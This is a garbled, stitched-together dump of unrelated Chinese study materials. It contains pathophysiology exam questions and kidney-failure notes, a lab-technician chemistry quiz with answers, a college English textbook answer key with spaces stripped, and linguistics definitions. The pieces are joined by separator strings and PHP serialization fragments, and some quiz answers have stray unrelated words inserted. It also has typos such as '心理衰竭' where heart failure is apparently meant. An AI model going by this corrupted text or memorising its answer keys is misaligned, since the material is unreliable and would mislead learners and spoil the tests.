@#@4*6=24分@#@１、TNF在休克低血压发生中的作用；@#@@#@２、在休克治疗中，如何保护和恢复细胞损伤？

@#@@#@３、为何呼酸比代酸更容易出现CNS紊乱？

@#@@#@４、为何SIRS最容易使肺受累？

@#@@#@1993@#@一、 肺栓塞引起的血气变化及其机制@#@二、 EDRF在缺氧性肺动脉高压发病中的作用及其机制@#@三、 酸中毒对机体的影响及其机制@#@四、 对以下病理过程下简明精确的定义：

@#@1心理衰竭2休克3DIC4应激5发热@#@五、 举两例说明病理变化的两重性以及在一定条件下矛盾主要方面和次要方面的转化。

@#@@#@六、 高血压引起心力衰竭的机制。

@#@@#@（任选5题，每题20分）@#@1994@#@一、 ARDS病人呼吸衰竭的类型及机制@#@二、 Ι型呼衰与Ц型呼衰的氧疗有何不同？

@#@为什么？

@#@@#@三、 心衰与休克的血流动力学变化有何异同？

@#@心肌梗塞的心衰与心源性休克有何不同？

@#@@#@四、 酸中毒对心肌收缩功能的影响及机制。

@#@代谢性与呼吸性酸中毒哪种影响更大，为什么？

@#@@#@五、 举例说明：

@#@@#@1、 病理变化的生物学意义的两重性@#@2、 药物作用的双向性@#@3、 病理过程中的正反馈与负反馈@#@4、 生理反应与病理反应@#@六、 血管阻力的法定单位和测定与计算方法。

@#@@#@1995@#@一、 PaO2正常的缺氧有那些类型？

@#@如何从血气变化去辨别？

@#@@#@二、 呼酸合并代碱时血pH、PaO2‘HCO3-和PaO2的变化@#@三、 休克时微血管淤血的机制。

@#@@#@四、 心肌舒张功能障碍的原因和机制。

@#@@#@五、 呼吸衰竭时肺动脉压的变化及机制@#@六、 举例说明为何用“一分为二”的观点去认识疾病。

@#@@#@1996@#@一、 高钾血症的原因有哪些？

@#@@#@二、 贫血病人动脉血和静脉血间氧含量差减少的机制？

@#@@#@三、 应激性溃疡的发病机制？

@#@@#@四、 鉴别肾性与肾前性肾功能衰竭的指标？

@#@各指标在两类肾衰中变化不同的机制？

@#@@#@五、 老年人PaO2为何低于年轻人？

@#@机制？

@#@@#@六、 肺动脉高压本身对肺功能有何影响？

@#@为什么？

@#@@#@1997@#@一、 HPV的发病机制@#@七、 高渗性脱水与低渗性脱水的病因和病生变化的异同？

@#@@#@二、 AG增高型与AG正常型代酸的原因和发病机制有何不同？

@#@@#@三、 多器官功能衰竭的发病机制？

@#@@#@1试述低钾血症时对心肌的影响@#@2试述低渗性脱水对机体的影响@#@3试述休克时微循环淤滞的机制@#@4试述代谢性酸中毒对机体的影响。

@#@@#@1代谢性酸中毒对心血管系统和中枢神经系统的影响及机制@#@2试述低镁血症对神经和肌肉的影响及机制@#@3休克期微循环淤滞的机制@#@4慢性肾功能衰竭时低钙血症的机制。

@#@@#@二部分气道阻塞时PaCO2可以升高、降低或正常。

@#@试述何种情况下出现？

@#@机制如何？

@#@@#@三休克淤血缺氧期微循环淤血的机制。

@#@@#@四CRI的尿量、酸碱平衡和血钙变化及其机制。

@#@@#@五心肌舒张功能障碍的机制。

@#@@#@六举例说明在疾病中肺和脑的相互作用。

@#@@#@1．急性肾功能衰竭发生细胞损伤的机制有：

@#@①ATP合成减少和离子泵失灵；@#@②自由基增多；@#@③还原型谷胱甘肽减少；@#@④磷脂酶活性增高；@#@⑤细胞骨架结构改变；@#@⑥细胞凋亡的激活。

@#@@#@2．急性肾功能衰竭恢复期发生多尿的机制是：

@#@①肾血流量和肾小球滤过功能逐渐恢复正常；@#@②新生肾小管上皮细胞的浓缩功能尚未恢复；@#@③肾小管阻塞由于肾间质水肿消退而解除；@#@④少尿期蓄积了大量尿素，致使肾小球滤出尿素增多，产生渗透性利尿。

@#@@#@3．急性肾功能衰竭时持续性肾缺血的可能机制有：

@#@①肾灌注压下降；@#@②肾血管收缩：

@#@包括交感一肾上腺髓质系统兴奋；@#@RAS激活；@#@激肽和前列腺素合成减少；@#@内皮素合成增加；@#@③肾血管内皮细胞肿胀；@#@④肾血管内凝血。

@#@@#@4．尿毒症时神经症状的发生机制是：

@#@①某些毒性物质的蓄积引起神经细胞变性；@#@@#@②电解质和酸碱平衡紊乱；@#@③肾性高血压所致的脑血管痉挛，缺氧和毛细血管通透性增高，可引起脑神经细胞变性和脑水肿。

@#@@#@5．急性功能性（肾前性）和器质性（肾小管坏死）肾功能衰竭，两者的临床表现均有少尿和无尿、高钾血症、氮质血症和代谢性酸中毒。

@#@但治疗截然相反，前者需充分补液，而后者应严格限制液体入量，故需加以鉴别。

@#@@#@功能性急性肾功能衰竭急性器质性肾功能衰竭少尿期@#@尿比重＞1.020（高）＜1.015（低）@#@尿渗透压（mmol/L）＞700（高）＜250（低）@#@尿钠含量（mmol/L）＜20（低）＞40（高）@#@尿/血肌酐比值＞40：

@#@1（高）＜15：

@#@1（@#@尿蛋白含量阴性或微量+@#@尿沉渣镜检基本正常（可有少许透明管型）透明、颗粒和细胞管型@#@RBC、WBC和变性坏死上皮差@#@甘露醇利尿效应良差@#@@#@8．在肾小球毛细血管袢之间，存在的一种由系膜细胞和系膜基质组成的特殊间充质，称为肾小球系膜。

@#@系膜细胞具有许多重要功能；@#@①调节人球小动脉和出球小动脉的收缩作用，进而影响毛细血管袢的内压和GFR；@#@②支持作用：

@#@填充于毛细血管袢之间以支持毛细血管的位置；@#@③吞噬作用：

@#@能吞噬被阻留在基膜内的大分子物质和蛋白质；@#@④分泌肾素。

@#@缺血和中毒促使机体释放的内源性活性因子均可引起系膜细胞收缩，导致肾小球血管阻力增加、滤过面积减少和Kf降低，进而促使GFR持续降低。

@#@@#@9．糖尿病氧自由基的来源：

@#@①AngⅡ通过激活NADPH氧化酶来刺激血管O2-生成；@#@②血浆葡萄糖浓度升高可通过葡萄糖自氧化、晚期糖基化终产物、蛋白激酶c激活和多羟基化合物通路的激活，导致氧自由基产生增加。

@#@活性氧（R0S）作为第二信使，在肾脏激活包括NF-kB在内的一系列转录因子，诱导单核细胞／巨噬细胞浸润增加，通过炎症反应导致终末器官损伤而导致慢性。

@#@肾功能衰竭的发生。

@#@@#@";i:

14;s:

8428:

"化验员基础知识练习题@#@一、填空题@#@1、纯硝酸是无色色的液体，加热或受光的作用即可促使它分解，分解的产物是NO2，致使硝酸呈现黄棕色色。

@#@@#@2、定量滤纸一般为圆形,按直径分有7cm、9cm、11cm等几种。

@#@@#@3、测量水的电导率可以反应水中电解杂质的含量。

@#@@#@4、分析实验室用水一般分为三个级别，分别是一级水、二级水、三级水。

@#@@#@5、沉淀过滤技术中的“一角二低三碰”，其中“二低”的含义为滤纸上边缘低于漏斗边缘；@#@倾入的溶液低于滤纸上边缘。

@#@@#@6、制备标准溶液的主要两个步骤是配制和标定。

@#@@#@7、离子交换法制取的纯水电导率可达到很低，但它的局限性是不能去除@#@非电解质、胶体物质、非离子化的有机物和溶解的空气。

@#@@#@8、溶液是指一种以分子、原子或离子状态分散于另一种物质中构成的均匀而又稳定的体系。

@#@@#@9、饱和溶液是指在一定条件下达到饱和状态的溶液。

@#@@#@10、物质的量的符号为nB，摩尔质量的符号为MB，密度的符号为ρ，质量分数的符号为ωB，物质的量浓度符号为cB，质量浓度符号为ρB。

@#@@#@二、判断题@#@1、小李样品加工时，过100目筛时发现筛上还有一点点颗粒状物质过不了筛，就把它给扔了。

@#@（×@#@）@#@2、小王在配碱性的金标准溶液时，一直保存在玻璃容量瓶中，问他时说，我这个容量瓶是有检定过的。

@#@（×@#@）@#@3、定量滤纸也是有质量的,屏风。

@#@（√）@#@4、为了防止滤液外溅,漏斗颈出口斜口长的一侧应贴紧接受的烧杯内壁。

@#@（√）@#@5、蒸馏水的电阻越大，说明该蒸馏水的纯度越高,棉纱。

@#@（√）@#@6、凡是基准物质，在使用之前都需进行灼烧处理。

@#@（×@#@）@#@7、凡是基准物质，在使用之前都需进行干燥（恒重）处理。

@#@（√）@#@8、市售的HCl，不能直接配成标准溶液。

@#@（√）@#@9、取出的试剂可以倒回原瓶。

@#@（×@#@）@#@10、过筛的目的是在不改变物料平均组成的情况下缩小试样量。

@#@（×@#@）@#@11、不同物质在水中的溶解度是不同的，相同物质在不同溶剂中的溶解度是一样的。

@#@（×@#@）@#@12、100mL的乙醇和100mL的水混合后的体积为200mL。

@#@（×@#@）@#@三、选择题@#@1、用Na2O2熔融样品时，应选择（A、B）材料的坩埚。

@#@@#@A、铁B、镍C、瓷D、银@#@2、过滤BaSO4沉淀时选择（C）滤纸。

@#@@#@A、快速B、中速C、慢速D、都可以@#@3、漏斗位置的高低，以过滤过程中漏斗颈的出口（C）为度。

@#@@#@A、低于烧杯边缘5mmB、触及烧杯底部@#@C、不接触滤液D、位于烧杯中心@#@4、沉淀的（A）是使沉淀和母液分离的过程。

@#@@#@A、过滤B、洗涤C、干燥D、分解@#@5、阳离子交换树脂含有可被交换的（A）活性基团。

@#@@#@A、酸性B、碱性C、中性D、两性@#@6、分析用水的质量要求中，不用进行检验的指标是（B）。

@#@@#@A、阳离子B、密度C、电导率D、pH值@#@7、各种试剂按纯度从高到低的代号顺序是（A）。

@#@@#@A、GR＞AR＞CPB、GR＞CP＞AR@#@C、AR＞CP＞GPD、CP＞AR＞GR@#@8、保存水样，选择（D）盛装为宜。

@#@@#@A、采样瓶B、广品瓶C、玻璃瓶D、塑料瓶@#@9、烘干基准物，可选用（C）盛装。

@#@@#@A、小烧杯B、研钵C、矮型称量瓶D、锥形瓶@#@10、用滤纸过滤时，玻璃棒下端（C），尽可能接近滤纸。

@#@@#@A|、对着一层滤纸的一边B、对滤纸的惟顶@#@C、对着三层滤纸的一边D、对着滤纸的边缘@#@11、用直接法配制K2Cr2O7标准溶液时应采用的试剂是（D）。

@#@@#@A、分析纯B、化学纯C、实验试剂D、基准试剂@#@12、一般分析用水的pH值范围为（A）。

@#@@#@A、6~7B、7~9C、8~9D、9~10、@#@13、实验室中用以保持仪器干燥的CoCl2变色硅胶为（A）时表示已失效。

@#@@#@A、红色B、蓝色C、黄色D、绿色@#@14、下列方法中不能加快溶质溶解速度的有（D）。

@#@@#@A、研细B、搅拌C、加热D、过滤@#@15、下面（D）不是SI基本单位符号。

@#@@#@A、KgB、KC、molD、g@#@四、问答题@#@1、正确进行试样的采取、制备和分解对分析工作有何意义？

@#@@#@2、简述HNO3、Na2O2溶（熔）剂对分解试样的作用。

@#@@#@要点：

@#@HNO3：

@#@具有酸的作用和氧化作用.。

@#@溶解能力强而且快。

@#@除铂、金和某些稀有金属外，浓硝酸能分解几乎所有的金属试样，硝酸与金属作用不产生H2，这是由于所生氢在反应过程中被过量硝酸氧化之故，绝大部分金属与硝酸作用生成硝酸盐，几乎所有的硝酸盐都易溶于水。

@#@浓硝酸作用时生成NO2，稀硝酸作用时生成NO。

@#@@#@Na2O2：

@#@是强氧化性、强腐蚀性的碱性熔剂，能分解许多难溶物质。

@#@@#@3、简述分析工作对试样分解的一般要求。

@#@@#@要点：

@#@分析工作对试样分解一般要求三点：

@#@@#@a、试样分解完全。

@#@@#@b、试样分解过程中待测成分不应有挥发损失。

@#@@#@c、分解过程中不应引入被测组分和干拢物质。

@#@@#@4、蒸馏水中含有杂质吗？

@#@为什么？

@#@@#@要点：

@#@蒸馏水中仍含有一些杂质，原因是：

@#@@#@a、二氧化碳及某些低沸物易挥发，随蒸气带入蒸馏水中；@#@@#@b、少量液态成雾状飞出，进入蒸馏水中；@#@@#@c、微量的冷凝管材料成分带入蒸馏水中。

@#@@#@5、什么叫溶解度？

@#@@#@要点：

@#@是指在一定的温度下，某种物质在100g溶剂中达到溶解平衡状态时所溶解的克数。

@#@@#@6、作为“基准物”，应具备哪些条件？

@#@@#@要点：

@#@a、纯度高。

@#@含量一般要求在99。

@#@9%以上,滤纸，杂质总含量小于0。

@#@1%。

@#@@#@b、组成与化学式相符。

@#@包括结晶水。

@#@@#@C、性质稳定。

@#@在空气中不吸湿，加热干燥时不分解，不与空气中氧气、二氧化碳等作用。

@#@@#@D、使用时易溶解。

@#@@#@E、最好是摩尔质量较大。

@#@这样。

@#@称样量较多，可以减少称量误差。

@#@@#@7、什么叫标定？

@#@标定的方法有哪几种？

@#@@#@要点：

@#@一般是先将这些物质配成近似所需浓度溶液，再用基准物测定其准确浓度。

@#@这一操作叫做“标定”。

@#@@#@标定的方法有二种：

@#@直接标定和间接标定。

@#@@#@五、计算题@#@1、已知铝锌矿的K=0.1、a=2。

@#@

（1）采取的原始试样最大颗粒直径为30mm，问最少应采取多少公斤试样才具有代表性？

@#@

（2）假设采取的原始样量为120公斤，把它破碎并通过3.32mm的筛孔，再用四分法进行缩分，最多应缩分几次？

@#@（3）如果要求最后所得分析试样不超过100g，问试样通过筛孔的直径应为几毫米？

@#@@#@解：

@#@

（1）根据Q=Kda而a=2Q=Kd2=0.1*302=90（Kg）所以最小重量为90Kg。

@#@@#@

（2）根据Q=Kd2=0.1*3.322=1.1（Kg）@#@第一次缩分：

@#@120*1/2=60（Kg）@#@第二次缩分：

@#@60*1/2=30（Kg）@#@第三次缩分：

@#@30*1/2=15（Kg）@#@第四次缩分：

@#@15*1/2=7.5（Kg）@#@第五次缩分：

@#@7.5*1/2=3.8（Kg）@#@第六次缩分：

@#@3.8*1/2=1.9（Kg）@#@每七次缩分：

@#@1.9*1/2=1.0（Kg）@#@因第七次缩分时小于最小重量，所以只能缩分6次。

@#@@#@（3）根据Q=Kd20.1＞0.1*d2d＜1（mm）@#@所以直径要小于1mm。

@#@@#@2、用基准物NaCl配制1.0000mg/mL的Cl-的标准溶液1000mL，请问基准NaCl应称取多少？

@#@（MNaCl=58.5g/mol，MCl-=35.5g/mol）@#@解：

@#@设称取NaCl为m克。

@#@@#@m=1.6479（g）@#@所以应称取NaCl1.6479g。

@#@@#@3、欲配制c（1/5KMnO4）=1.0000mol/LKMnO4溶液5000mL，需KmnO4多少？

@#@（已知M1/5KMnO4=31.6g/mol）@#@解：

@#@设需KmnO4m克。

@#@@#@m=158.0000（g）@#@所以需KmnO4158.0000g@#@4、THCl/NaOH=0.004420g/mlHCl溶液，相当于物质的量浓度c（HCl）为多少？

@#@（已知MNaOH=40.0g/mol）@#@解：

@#@c（HCl）=T/MNaOH=0.004420*1000/40.0=0.1105（mol/L）@#@";i:

15;s:

10803:

"全新版大学英语第二版综合教程2课后练习答案详解@#@KeytoExercisesofCollegeEnglishBook2@#@全新版大学英语（第二版）综合教程2课后练习答案@#@Unit1@#@★TextA@#@Vocabulary@#@I.@#@1.1）insert2）onoccasion3）investigate4）Inretrospect5）initial6）phenomena@#@7）attached8）makeupfor9）isawaiting10）not…intheleast11）promote12）emerged@#@2.1）Thereisastrikingcontrastbetweenthestandardsoflivinginthenorthofthecountryandthesouth.@#@2）Naturalfiberissaidtobesuperiortosyntheticfiber.@#@3）Thecity’simportanceasafinancialcenterhasevolvedslowly.@#@4）Hisnationalityisnotrelevanttowhetherheisagoodlawyer.@#@5）Thepoemsbyalittle-knownsixteenth-centuryItalianpoethavefoundtheirwayintosomeEnglishmagazines.@#@3.1）bepickedup,can’taccomplish,amexaggerating@#@2）somewhat,performance,haveneglected,theyapplyto@#@3）assist,Ontheotherhand,arevalid,asuperior@#@II.@#@1.1）continual2）continuous3）continual4）continuous@#@2.1）principal2）principal3）principle4）principles5）principal@#@III.@#@1.themselves2.himself/herself3.herself/byherself/onherown4.itself@#@5.ourselves6.yourself/byyourself/onyourown@#@ComprehensiveExercise@#@I.Cloze@#@1.1）contrast2）exaggerating3）priority4）ontheotherhand5）promoting@#@6）pickup7）assist8）accomplish9）onoccasion10）neglecting@#@11）worthwhile12）superior@#@2.1）end2）perform3）facing4）competent5）equipped@#@6）designed7）approach8）rest9）definitely10）quality@#@II.Translation@#@1.1）Ittakesanenormousamountofcouragetomakeadeparturefromthetradition.@#@2）Tomusedtobeveryshy,butthistimehewasboldenoughtogiveaperformanceinfrontofalargeaudience.@#@3）Manyeducatorsthinkitdesirabletofosterthecreativespiritinthechildatanearlyage.@#@4）Assuming（that）thispaintingreallyisamasterpiece,doyouthinkit’sworthwhiletobuy/purchaseit?

@#@@#@5）Ifthedataisstatisticallyvalid,itwillthrowlightontheproblemweareinvestigating.@#@2.ToimproveourEnglish,itiscriticaltodomorereading,writing,listeningandspeaking.Besides,learningbyheartasmanywell-writtenessaysaspossibleisalsoveryimportant.WithoutanenormousstoreofgoodEnglishwritinginyourheadyoucannotexpressyourselffreelyinEnglish.Itisalsohelpfultosummarizeourexperienceaswegoalong,forinsodoing,wecanfigureoutwhichwayoflearningismoreeffectiveandwillproducethemostdesirableresult.Aslongaswekeepworkinghardonit,wewillinduecourseaccomplishthetaskofmasteringEnglish.@#@★TextB@#@Comprehensioncheck:

@#@ccdacb@#@LanguagePractice@#@1.ghecfabd@#@2.1）adopt2）account3）fromyourpointofview4）endedup5）furthermore6）fund7）annual8）keepingtrackof9）pace10）intends@#@11）perspective12）devise@#@Unit2@#@★TextA@#@Vocabulary@#@I.1.1）abrupt2）emotional3）bless4）wearandtear5）dated@#@6）consequences7）seemingly8）incontrastto9）Curiosity10）genuine11）primarily12）sentiments@#@2.1）Whenyouareconfrontedwithmorethanoneproblem,trytosolvetheeasiestonefirst.@#@2）Waterisvitaltotheexistenceofallformsoflife.@#@3）Thereisstillsomeconfusionamongthestudentsaboutwhattodoafterclasstofollowuponthesubject.@#@4）Asapersonofsimplelivinghabits,heneedsnothingmorethanajobandanapartmenttobehappy.@#@5）Ittickledhimtothinkthatshe’dcometoashisadvice.@#@3.1）alingering,fabricating,sentiments@#@2）fillout,everyitem,vital,consequences@#@3）bedenied,tangible,cherish,attain@#@II.@#@1.It’salongtripandwilltakeusfivehoursbybus.@#@2.Shearrivedearlyandtookafrontrowseat.@#@3.Don’ttakemeforafool.@#@4.Ittakesalotofimaginationtofabricatesuchastory.@#@5.Myunclewilltakeme（alongonhistrip）totheArcticthissummer.@#@6.HetookthedinnerplateIpassedtohim.@#@7.Kevintooksecondprizeintheweight-liftingcompetition.@#@8.Ifyoudon’ttakemyadvice,youwillregretit.@#@III.@#@1.hanging2.togive3.toreturn4.beingpraised5.nothavingwritten@#@6.tosay7.toopen8.beinghelped@#@ComprehensiveExercise@#@I.@#@1.1）well-off/affluent2）dated3）fallinginto4）bracket5）deny@#@6）tangible7）pursuit8）cherishes9）outofplace10）abrupt@#@11）focus12）donations@#@2.1）consume2）fueled3）annual4）plain5）physically6）security@#@7）indicates8）equally9）traditional10）follows@#@II.Translation@#@1.1）Thecompanydeniedthatitsdonationshadacommercialpurpose.@#@2）Wheneverhewasangry,hewouldbegintostammerslightly.@#@3）Educationisthemostcherishedtraditioninourfamily.That’swhymyparentsnevertookmetodinneratexpensiverestaurants,butsentmetothebestprivateschool.@#@4）Shortlyafterherecoveredfromthesurgery,helosthisjobandthushadtogothroughanotherdifficultphaseofhislife.@#@5）Incontrasttoouraffluentneighbors,myparentsareratherpoor,buttheyhavealwaystriedhardtomeetourminimalneeds.@#@2.Withmoreandmoredonationscomingin,ouruniversitywillbemuchbetterofffinanciallynextyear.Wewillthusbeabletofocusonthemostimportanttaskthatwe,educators,musttakeon:

@#@toencouragestudentstoattaintheirscholarly/academicgoals,totrainthemtobedependableandresponsibleindividuals,topreparethemforthelifeahead,andtoguidethemintheirpursuitofspiritualaswellasmaterialsatisfaction.@#@★TextB@#@ComprehensionCheck:

@#@bbdcdd@#@LanguagePractice@#@1.fcgebahd@#@2.1）stunned2）hold（fast）to3）folks4）generosity5）discount6）liable@#@7）ranks8）ontherun9）makeup10）blendsin11）byallaccounts12）comesintocontactwith@#@Unit3@#@★TextA@#@Vocabulary@#@I.@#@1．1）typical2）dumb3）junior4）glorious5）welfare6）cameover7）interference8）fading9）narroweddown10）frank11）schemes12）atanyrate@#@2.1）TheSecuritycouncilconsistsoffivegeneralsandfourpoliceofficers.@#@2）Thenewhotelwillbeinalocationoverlookingthelake.@#@3）Iwashumiliatedbyhercommentsaboutmyfamilybackgroundinfrontofsomanypeople.@#@4）DoyouhaveanyproofthatitwasHenrywhostolethecomputer?

@#@@#@5）theboywasexhaustedafterthelongcycleride.@#@3.1）hysterical;@#@washandeddown;@#@shouldhaveknownbetterthan@#@2）twisted,overandover,talentedson@#@3）patience,nottokeephiminsuspense,assured,repeatedly@#@II.@#@1.adequate2.anxious3.certain4.content5.crazy6.likely7.fortunate8.keen@#@III.@#@1.beadmitted2.live3.bepostponed4.buy5.bebanned6.be@#@ComprehensiveExercise@#@I.1.1）typical2）welfare3）constant4）frank5）talent6）dumb@#@7）knowbetterthanthat8）repeatedly9）dread10）interference11）bet12）assure@#@2.1）despite2）really3）same4）contact5）admitted6）attempt@#@7）not8）tend9）different10）manner@#@II.Translation@#@1.1）HavescientistsfoundproofofwateronMars?

@#@@#@2）Theplanningcommitteehasnarroweddownthepossiblelocationsforthenuclearpowerplanttotwocoastaltowns.@#@3）Samnotonlylosthisjobbutalsobothlegs;@#@hehadtoliveonwelfarefortherestofhislife.@#@4）Ajuryconsistingof12membersvotedinunisonthatMarywasguilty.@#@5）Seanfelthumiliatedtihearhistalentbeingquestioned.@#@2.George,thesonofMr.Johnson,likedlisteningtoheavymetalmusicintheevenings,whichmadeithardforotherresidentsinthecommunitytofallasleep.Eventuallytheexhaustedneighborslosttheirpatienceanddecidedondirectinterference.TheycalledMr.Johnsontotellhiminafrankmannerwhattheywerethinking.Mr.Johnsonassuredthemthathewouldcertainlysettletheissue.Assoonasheputdownthephonehescoldedhisson,“Whathascomeoveryou?

@#@Youshouldknowbetterthantodisturbothersforyourownamusement.”IntheendGeorgetradedhisCD’sforcomputergamessoftwarefromhisclassmates.@#@★TextB@#@ComprehensionCheck:

@#@babcda@#@LanguagePractice@#@1.defgabhc@#@2.1）andhelike2）popularity3）hadbeenkeptinthedark4）define5）wasawareof6）relate7）wereupto8）trend9）opportunity10）mobile11）comments@#@12）interviewed@#@Unit4@#@★TextA@#@Vocabulary@#@I.@#@1.1）conversely2）.butthen3）symptom4）spitting5）abusing6）tone@#@7）took…in8）editing9）havearranged10）insight11）stretched12）data@#@2.1）Thesightofteenagerssmokingcigarettesjarsonme.@#@2）AlotofAmericanteenagersdon’tlikestreetgangs,buttheyfindthemselvesgettingsuckedin.@#@3）Jeffrey’scomputercrashedagainthismorning.Themanagerhasarrangedforatechnicianfromthecomputerstoretocheckandrepairit.@#@4）DuringtheVietnamWar,manyyoungAmericansfledtheircountrytoavoidmilitaryservice/fledtoothercountriestoavoidmilitaryservice.@#@5）Thenewgovernmentisplanningananti-corruptioncampaignsoastorestorepeople’sconfidenceinit.@#@3.1）thevirtual,online,via2）nightmare,routine,anyappointment,arrangefor@#@3）cue,remarks,histune@#@II.1.Wecamehereallthewayonfoot.@#@2.Privatecarsarenotallowedoncampus.@#@3.TheyareonvocationinFlorida.@#@4.Maryhasbeentalkingtoherfriendonthephoneforanhour.@#@5.Don’tworry,Lucyisalwaysontime.@#@6.Industrialdemandonfuelisontherise.@#@III.1.hard2.difficult3.impossible4.tough5.hard6.easy@#@ComprehensiveExercise@#@I.@#@1.1）internet2）click3）virtual4）routines5）arrange6）nightmare7）annoying8）connection9）crawls10）takein11）spit12）data13）suckedinto14）Attimes15）flee16）online@#@2.1）companion2）deliver3）access4）enables5）customers6）delights7）provides8）small9）remote10）information@#@II.Translation@#@1.1）Researchshowsthatlaughtercanbringalotofhealthbenefits.@#@2）AslowInternetconnectingspeedisreallyannoying.@#@3）Asthelawstands,helpingsomeone";i:

16;s:

10617:

"1.Languageisasystemofarbitraryvocalsymbolsusedforhumancommunication.@#@2.Designfeaturesrefertothedefiningpropertiesofhumanlanguagethatdistinguishitfromanyanimalsystemofcommunication.@#@3.Arbitrarinessrefersthatthereisnologicalconnectionbetweenalinguisticsymbolandwhatthesymbolstandsfor（meaningandsounds）.@#@4.Dualitymeansthepropertyofhavingtwolevelsofstructures,suchthatunitsoftheprimarylevelarecomposedofelementsofthesecondarylevelandeachofthetwolevelshasitsownprinciplesoforganization.@#@5.Creativity（productivity）meanslanguageisresourcefulbecauseofitsdualityandrecursiveness.@#@6.Displacementmeanslanguagecanbeusedtorefertocontextsremovedfromtheimmediatesituationsofthespeaker.@#@7.Culturaltransmission:

@#@languageisnotbiologicallytransmittedfromgenerationtogeneration.Thedetailsofthelinguisticsystemmustbelearnedbyeachspeaker.@#@8.Interchangeability:

@#@meansthatanyhumanbeingcanbebothaproducerandareceiverofmessages.@#@9.Linguisticsisthescientificstudyoflanguage@#@10.Descriptivemeansthelinguisticstudyaimstodescribeandanalyzethelanguagepeopleactuallyuse.@#@Prescriptivemeansthelinguisticstudyaimstolaydownrulesforcorrectandstandardbehaviorinusinglanguagetotellpeoplewhattheyshouldsayandnotsay.@#@11.Synchronic共时inwhichlanguagesaretreatedasself-containedsystemsofcommunicationatanyparticulartime在那一刻、时、块的情况（当代、古代）@#@Diachronic历时inwhichthechangestowhichlanguagesaresubjectinthecourseoftimeandtreatedhistorically.（在过程中都有什么变化、区别、有大时间变化）2个共时即为历时@#@12.Langueandparole找笔记重点。

@#@Competenceandperformance找笔记重点。

@#@@#@13.Phoneticsstudieshowspeechsoundsareproduced,transmitted,andperceived;@#@itisconcernedwithallthesoundsthatoccurintheworld’slanguages.@#@14.Consonants：

@#@aresoundsproducedbyobstructingtheflowofairintheoralcavity。

@#@Vowels：

@#@areproducedwhentheairstreammeetswithnoobstruction。

@#@@#@15.diacritics：

@#@areadditionalsymbolsormarksusedtogetherwiththeconsonantandvowelsymbolstoindicatenuancesofchangeintheirpronunciation.@#@16.Phonologyisthestudyofthesoundpatternsandsoundsystemsoflanguages.Itaimstodiscovertheprinciplesthatgovernsthewaysoundsareorganizedinlanguages,andtoexplainthevariationsthatoccur.@#@17.Articulatoryphonetics发音语音学studiesoftheproductionofspeechsounds.@#@Acousticphonetics声学语音学studiesofthephysicalpropertiesofspeechsounds@#@Perceptualphonetics感知听觉isconcernedwiththeperceptionofspeechsounds@#@18.Coarticulation协同发音meanswhenaspeechsoundchangesandbecomesmorelikeanothersoundwhichfollowsitonprecedesit@#@Anticipatorycoarticulation:

@#@asoundbecomesmorelikethefollowingsound.Eg:

@#@lamb@#@Perseverativecoarticulation:

@#@thesoundshowstheinfluenceoftheprecedingsound.Eg:

@#@map@#@19.Broadtranscription:

@#@thetranscriptionwithletters,symbolsonly.@#@Narrowtranscription:

@#@thetranscriptionwithletters,symbolstogetherwiththediacritics.@#@20.Phoneisaphoneticunitorsegment.Thespeechsoundswehearandproduceduringlinguisticcommunicationareallphones.Butaphonedoesnotdistinguishmeaning.@#@21.Phonemeisaphonologicalunitwhichisthesmallestunitofsoundinalanguagewhichcandistinguishtwowords.@#@22.Allophonemeansthedifferentphoneswhichcanrepresentaphonemeindifferentphoneticenvironmentarecalledtheallophonesofthatphoneme.Thechoiceofanallophoneisnotrandom,itisrule-governedindifferentcontexts@#@23.Minimalpair:

@#@Aminimalpaircontainstwowordsinalanguagewhichdifferfromeachotherbyonlyonedistinctivesoundandwhichalsodifferinmeaning.@#@24.Allophonesofaphonemealwaysoccurindifferentphoneticenvironment,sotheyaresaidtobeincomplementarydistribution.@#@25.Ifthephoneticallysimilarsoundsare2distinctivephonemes,theyaresaidtoformaphonemiccontrast.@#@26.Freevariation:

@#@Whentwoormorelinguisticitemsoccurinthesamepositionwithoutanyapparentchangeofmeaningtheyareinfreevariation.@#@27.Assimilation同化现象isaprocessbywhichonesoundtakesonsomeorallthecharacteristicsofaneighboringsound。

@#@@#@Regressiveassimilation:

@#@afollowingsoundinfluencingaprecedingsound@#@Progressiveassimilation:

@#@aprecedingsoundinfluencesafollowingsound.@#@音位变化规则：

@#@threeaspects：

@#@asetofsoundstoundergotheprocess;@#@asetofsoundsproducedbytheprocess;@#@asetofsituationsinwhichtheprocessapplies.@#@@#@28.Wordisaminimumfreeformofalanguagethathasagivensoundandmeaningandsyntacticfunction.@#@29.Morpheme语素isthesmallestmeaningfulunitoflanguageintermsoftherelationshipbetweenexpressionandcontent,aunitthatcannotbedividedintofurthersmallerunitswithoutdestroyingordrasticallyalteringthemeaning,whetheritislexical词汇的orgrammatical.@#@30．Morphology形态学studiestheinternalstructureofwordsandtherulesbywhichwordsareformed.@#@31.Endocentriccompound:

@#@isoneinwhichoneconstituentisthecenterandtheotheristhemodifier.@#@Exocentriccompound:

@#@isoneinwhichthereisonfocalelementandthewholereferstosthelseratherthanwhateitheroftheconstituentsdenotes@#@32.Allomorph:

@#@anyofthedifferentshapesorphoneticformsofamorpheme@#@33.suppletion:

@#@atypeofirregularityinwhichthereisacompletechangeintheshapeofawordinitsvariousforms@#@34.Syntaxisthestudyoftherulesgoverningthewaysdifferentconstituentsarecombinedtoformsentencesinalanguage,orthestudyoftheinterrelationshipsbetweenelementsinsentencestructures.@#@35.Grammaticalconstructioncanbeusedtomeananysyntacticconstructwhichisassignedoneormoreconventionalfunctionsinalanguage,togetherwithwhateverislinguisticallyconventionalizedaboutitscontributiontothemeaningorusetheconstructcontains.@#@36.Immediateconstituentsareconstituentsimmediately,ordirectly,belowthelevelofaconstruction,evenawordwhichcanbefurtheranalyzedintomorphemes（Bloomfield）@#@37.ICanalysis:

@#@theanalysisoftheasentenceintermsofitsimmediateconstituent-wordgroupswhichareinturnanalyzedintotheimmediateconstituentoftheirown,andtheprocessgoesonuntiltheultimateconstituentarereached.@#@38.TheimportanceofICanalysis:

@#@isthatitstressedthefunctionoftheintermediatelevel-thewordgroup-intheanalysisofasentence,seeingahierarchicalstructureofthesentence.@#@39.TheadvantagesofICanalysis：

